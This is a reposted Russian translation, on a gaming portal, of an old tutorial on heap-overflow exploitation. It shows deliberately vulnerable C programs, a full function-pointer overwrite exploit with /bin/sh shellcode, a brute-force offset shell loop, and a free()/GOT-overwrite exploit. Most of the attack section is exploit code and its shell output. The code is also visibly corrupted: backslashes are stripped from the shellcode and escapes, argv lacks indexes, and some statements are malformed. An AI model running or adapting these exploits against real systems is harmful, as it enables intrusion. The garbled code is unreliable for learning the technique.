Возможно вы искали: 'Bruce Lee'

May 15 2025 19:40:09
  • Как сделать 8Gamers.Ru домашней страницей?
  • Игры
    • База данных по играх
    • Игровые новости
    • Игровая индустрия
    • Обзоры на игры
    • Прохождения игр
    • Гайды к играм
    • Превью о играх
    • Игровые тизеры
    • Игровые арты
    • Игровые обои
    • Игровые скриншоты
    • Игровые обложки
    • Игровые трейлеры
    • Игровое видео
    • Вышедшие игры
    • Ближайшие релизы игр
  • Кино и ТВ
    • База данных по кино
    • Статьи о кино
    • Постеры
    • Кадры из кино
    • Кино трейлеры
    • Сегодня в кино
    • Скоро в кино
  • Комиксы и манга
    • Манга по алфавиту
    • База данных по комиксах
    • Читать онлайн комиксы
    • Читать онлайн манга
    • База персонажей
  • Читы и коды
    • Чит-коды для PC игр
    • Чит-коды для консольных игр
    • Трейнеры
    • Коды Game Genie
  • Моддинг
    • Модификации
    • Карты к играм
    • Программы для моддинга
    • Статьи о моддинге
  • Геймдев
    • Всё о создании игр
    • Список движков
    • Утилиты в помощь игроделу
    • Конструкторы игр
    • Игровые движки
    • Библиотеки разработки
    • 3D-модели
    • Спрайты и тайлы
    • Музыка и звуки
    • Текстуры и фоны
  • Рецензии
    • Игры
    • Кино
    • Аниме
    • Комиксы
    • Мангу
    • Саундтреки
  • Саундтреки
    • Лирика
  • Файлы
    • Патчи к играм
    • Русификаторы к играм
    • Сохранения к играм
    • Субтитры к кино
  • Медиа
    • Видео
    • Фото
    • Аудио
    • Фан-арты
    • Косплей
    • Фото с виставок
    • Девушки из игр
    • Рисунки
    • Рисуем онлайн
    • Фотохостинг
  • Юмор
    • Анекдоты
    • Афоризмы
    • Истории
    • Стишки и эпиграммы
    • Тосты
    • Цитаты
  • Флеш
    • Азартные
    • Аркады
    • Бродилки
    • Гонки
    • Для девочек
    • Для мальчиков
    • Драки
    • Квесты
    • Леталки
    • Логические
    • Мультфильмы
    • Открытки
    • Приколы
    • Разное
    • Спорт
    • Стратегии
    • Стрелялки
Статистика

Статей: 87772
Просмотров: 96111483
Игры
Injustice:  Gods Among Us
Injustice: Gods Among Us
...
Dark Souls 2
Dark Souls 2
Dark Souls II - вторая часть самой хардкорной ролевой игры 2011-2012 года, с новым героем, сюжето...
Battlefield 4
Battlefield 4
Battlefield 4 - продолжение венценосного мультиплеер-ориентированного шутера от первого ли...
Кино
Steins;Gate
Steins;Gate
Любители японской анимации уже давно поняли ,что аниме сериалы могут дать порой гораздо больше пи...
Ку! Кин-дза-дза
Ку! Кин-дза-дза
Начинающий диджей Толик и всемирно известный виолончелист Владимир Чижов встречают на шумной моск...
Обзоры на игры
• Обзор Ibara [PCB/PS2] 18357
• Обзор The Walking ... 18801
• Обзор DMC: Devil M... 19879
• Обзор на игру Valk... 15877
• Обзор на игру Stars! 17764
• Обзор на Far Cry 3 17948
• Обзор на Resident ... 16024
• Обзор на Chivalry:... 17508
• Обзор на игру Kerb... 17981
• Обзор игры 007: Fr... 16619
Превью о играх
• Превью к игре Comp... 17960
• Превью о игре Mage... 14464
• Превью Incredible ... 14721
• Превью Firefall 13479
• Превью Dead Space 3 16334
• Превью о игре SimC... 14730
• Превью к игре Fuse 15442
• Превью Red Orche... 15542
• Превью Gothic 3 16343
• Превью Black & W... 17354
Главная » Статьи » Разное » Как работают эксплоиты на основе heap overflow (security heap buffer attack)

Как работают эксплоиты на основе heap overflow (security heap buffer attack)

Ключевые слова: security, heap, buffer, attack, (найти похожие документы)

From: intuit
Date: Mon, 23 Feb 2008 18:21:07 +0000 (UTC)
Subject: Как работают эксплоиты на основе heap overflow

Оригинал: http://www.void.ru/content/1062

Автор: nebunu, irc.box.sk #neworder
Перевод: intuit

1. Почему была написана статья.
2. Описание ошибки.
3. Уязвимая программа (пример и exploit для неё)
4. Реальный пример эксплоита.

1. Большое количество эксплоитов было зарелизено в последнее время.
Некоторые из них основаны на технологии перезаписи указателя
функции(function pointer), позволяющей выполнить шеллкод на стеке или
куче. Вот самые известные из последних эксплоитов, использующие данную
технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo,
sshchan.

Тысячи серверов по всему миру были взломаны. В большинстве случаев эти
эксплоиты использовались так называемымиsсriptkiddie`s, которые не
имеют представления о том, как они работают и что делают. В связи с
этим я попытаюсь рассказать о технике перезаписи указателя функции в
деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда
вы закроете свой "вьювер" =) вы станете просвящены в данном вопросе.

2. Лучший способ разобраться в проблеме - рассмотреть пример уязвимой
программы.

Давайте взглянем на следующий код:

#include <stdio.h>
#include <string.h>

main()
{
unsigned long difference;
char *buffer1,*buffer2;

*buffer1 = (char *)malloc(16)

*buffer2 = (char *)malloc(16);
difference = (unsigned long)buffer2 - (unsigned long)buffer1;
memset(buffer2, 'A', 15), buffer2[15] = '';
memset(buffer1, 'B', (unsigned int)(difference + 8));
}


После компиляции и выполнения наши буферы будут содержать следующее:

До переполнения:

buffer2=AAAAAAAAAAAAAAAA


После:

buffer2=BBBBBBBBAAAAAAAA


Buffer1 "вылез" за свою границу в пространство зарезервированное для
buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого
указателя, выполнить шеллкод.

Посмотрите на следующий код:

expl.c

#include <stdio.h>
#include <string.h>
int function(const char *argument);

int main(int argc, char **argv)
{
static char buf[128];
static int (*funcptr)(const char *argument);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s [buffer] [function argument]n", argv[0]);
exit(1);
}

funcptr = (int (*)(const char *argument))function;
memset(buf, 0, sizeof(buf));
strncpy(buf, argv, strlen(argv));
(void)(*funcptr)(argv);
return 0;
}


int function(const char *argument)
{
printf("nArgument is: %sn", argument);
return 0;
}


Разберемся, что он делает. Получает 2 аргумента. Первый аргумент -
строка вызывающая переполнение, второй - будет запускать нашу функцию.
Наша функция будет выводить на экран. Как мы можем "эксплуатировать"
это ? Очень просто. Используем первую строку, которая может быть
произвольно большой длины для перезаписи указателя функции и
заставляем его указывать на шеллкод, расположенный в "куче". Конечно,
мы можем разместить наш шеллкод в первом аргументе программы, подобно
классическому buffer overflow, но тогда сложнее получить адрес
возврата, да и многие системы сегодня уже не имеют выполнимого стека.

К примеру, я использую StackGuard для защиты своей системы от такого
нападения.

Теперь приступим к написанию эксплоита.

3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера.

static char buf[128];


Итак, под буфер отводится 128 байт.
Легко заметить, в моем первом примере, что вылезая за границы буфера в
место, отведенное под heap-переменную, можно перезаписать указатель
функции на адрес нашего шеллкода. Получается что-то вроде этого:

{AAAAAAAA...AAAAAAAAAAAAA}{shellcode address}{NULL byte}
128 bytes of crap 4 bytes long 1 byte


Видно, что длина буфера эксплоита должна быть 128+4+1 байт.

char buf[128 + sizeof(unsigned long) + 1];


Тогда верхний адрес будет определен так:

sysaddr = (unsigned long)sbrk(0)


Будем вычитать пока не сорвем джек-пот ;) :

sysaddr = (unsigned long)sbrk(0) - atoi(argv);


Если размер шеллкода превышает размер нашего буфера - тогда на выход:

if (128 + 4 + 1 < strlen(shellcode))exit(1);


Если всё ОК, поместим наш шеллкод в буфер:

strcpy(buf, shellcode);


После шеллкода добавим мусора... Это будет последовательность ААА.. ,
также определим NULL'евой байт, который выступает в роли завершителя
строки:

memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) +
sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = '';


Теперь в конец "разрешенных" 128 байт, запишем адрес возврата
шеллкода, задом-наперед, не забыв про то, что работаем с linux,
который использует формат little endian.

for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;


Например, если адрес - 0xffff5467, то запишем - 6754ffff. Далее,
передаем наш шеллкод, как аргумент функции. Когда указатель функции
будет перезаписан нашим буфером, shellcode будет выполнен.

execl("./expl","expl", buf, shellcode, NULL);


Объединим все сказанное в небольшую программу:

go.c

#include <stdio.h>
#include <string.h>


char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
"x40xcdx80xe8xdcxffxffxff/bin/sh";


main(int argc, char **argv)
{
register int i;
unsigned long sysaddr;
char buf[128 + sizeof(unsigned long) + 1];

if (argc <= 1)
{
printf("nUsage: %s [offset]n", argv[0]);
exit(1);
}

sysaddr = (unsigned long)sbrk(0) - atoi(argv);
if (128 + 4 + 1 < strlen(shellcode))
exit(1);

strcpy(buf, shellcode);
memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = '';

for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;

execl("./expl","expl", buf, shellcode, NULL);
return 0;
}


Для того, чтобы получить шелл, вы должны выполнить exploit с
параметром offset. Таким образом ./go [offset] . Я создал маленький
скрипт, делающий это для вас. Назовите его sсript.

#!/bin/bash
i=0
while [ $i -lt 1000 ]; do
i=`expr $i + 1`
./go $i
echo $i
done


Выполните его:

root@localhost~# shsсript
..........
sh-2.5#


Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости,
которая широко распространена в реальной жизни.

4. Здесь я рассмотрю пример перезаписи указателя функции free(),
конкретно то, что встречается в реальных условиях. Это точно такая же
техника, на которой построены эксплоиты для openssh-2.9* for freebsd и
openssl apache exploit.

Смотрим:

Для понимания того, что будет написано далее, необходимо знать как
работает функция free(). Объяснение её работы выходит за рамки данной
статьи, читайте MAN`ы. Вот подходящий для "эксплуатации" код:

#include <stdio.h>
#define BUFSIZE 56
int main(int argc, char **argv)
{


char *buf1, *buf2;

if(argc == 1) {
printf("nUsage: %s [string].n",argv[0]);
return(0);
}

buf1 = (char *) malloc(BUFSIZE);
buf2 = (char *) malloc(BUFSIZE);

strcpy(buf2,"AAAAAAAAAAAAAAAA");
strcpy(buf1, argv);

printf("n%sn", buf1);

free(buf2);
free(buf1);

return(0);

}

Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если
строка более 56 символов, разрешенных для аргумента, то она
перезапишет часть buf2. Мы должны заменить первые 8 байт, для того,
чтобы "эксплуатировать" эту программу по стандартной схеме:

[BUFSIZE bytes of shit] [previous size of buf2(предыдущий размер
buf2)] [size of buf2(размер buf2)] [8 bytes of crap] [ptr safe 4
bytes] [ptr safe 4 bytes] [ptr to overwrite lоcation - bufsize1
-4(указатель на перезаписываемую область)] [return addy(адрес возврата)]
[jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)]
[bufsize1-4 bytes of crap] [shellcode of your choice(шеллкод на ваш выбор)]
ptr to overwrite lоcation - адрес функции free(), его можно узнать


так:

objdump -R vulnerable_program_binary | grep free


Адрес возврата - адрес шеллкода, обычно можно узнать брутфорсом.
Далее приведен эксплоит, построенный по показанной схеме:

#include <stdio.h>


main(int argc,char **argv)
{
unsigned long sysaddr=0x0804968c-12; /* free() address-16-4 */
unsigned long retaddr; /* shellcode address */
int i;
char buf[1000];
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
"x40xcdx80xe8xdcxffxffxff/bin/sh";

strcpy(buf,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
/* 56 chars */
strcat(buf,"xf0xffxffxff"); /* [previous size of buf2] */
strcat(buf,"xfcxffxffxff"); /* [size of buf2] */
strcat(buf,"xfcxfcxfcxfcxfcxfcxfcxfc"); /* 8 bytes of shit */
strcat(buf,"xfcxffxffxff"); /* [ptr safe 4 bytes] */
strcat(buf,"xfcxffxffxff"); /* [ptr safe 4 bytes] */
buf[56+4+4+8+4+4 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
/* [ptr to overwrite lоcation - bufsize1 -4] */
retaddr=sysaddr+atoi(argv);
buf[56+4+4+8+4+4+4+ i] = ((unsigned long)retaddr >> (i * 8)) & 255;
strcat(buf,"xebx0cx90x90"); /* jump ahead 12 bytes */
strcat(buf,"xfcxfcxfcxfcxfcxfcxfcxfcxfcxfcxfcxfc");
/* [bufsize1-4 bytes of crap] */
strcat(buf,shellcode); /* shellcode */

execl("./a","a",buf, NULL); /* blow them baby */
}



Для более глубокого понимания материала ищите man`ы и статьи по
выделению и освобождению памяти. (описание таких функций, как
malloc(), realloc(), free(), cfree() и т.д.)

Автор: nebunu
Источник: irc.box.sk #neworder
691 Прочтений •  [Как работают эксплоиты на основе heap overflow (security heap buffer attack)] [08.05.2012] [Комментариев: 0]
Добавил: Ukraine Vova
Ссылки
HTML: 
[BB Url]: 
Похожие статьи
Название Добавил Добавлено
• Как работают эксплоиты на основе he... Ukraine Vova 08.05.2012
Ни одного комментария? Будешь первым :).
Пожалуйста, авторизуйтесь для добавления комментария.

Проект входит в сеть сайтов «8Gamers Network»

Все права сохранены. 8Gamers.NET © 2011 - 2025

Статьи
Рецензия на Pressure
Рецензия на Pressure
Чтобы обратить на себя внимание, начинающие маленькие разработчики, как правило, уходят в жанры, ...
Рецензия на Lost Chronicles of Zerzura
Рецензия на Lost Chron...
Игры, сделанные без любви и старания, похожи на воздушный шар – оболочка есть, а внутри пусто. Lo...
Рецензия на The Bridge
Рецензия на The Bridge
«Верх» и «низ» в The Bridge — понятия относительные. Прогуливаясь под аркой, можно запросто перей...
Рецензия на SimCity
Рецензия на SimCity
Когда месяц назад состоялся релиз SimCity, по Сети прокатилось цунами народного гнева – глупые ош...
Рецензия на Strategy & Tactics: World War 2
Рецензия на Strategy &...
Название Strategy & Tactics: World War II вряд ли кому-то знакомо. Зато одного взгляда на ее скри...
Рецензия на игру Scribblenauts Unlimited
Рецензия на игру Scrib...
По сложившейся традиции в информационной карточке игры мы приводим в пример несколько похожих игр...
Рецензия на игру Walking Dead: Survival Instinct, The
Рецензия на игру Walki...
Зомби и продукция-по-лицензии — которые и сами по себе не лучшие представители игровой биосферы —...
Обратная связь | RSS | Донейт | Статистика | Команда | Техническая поддержка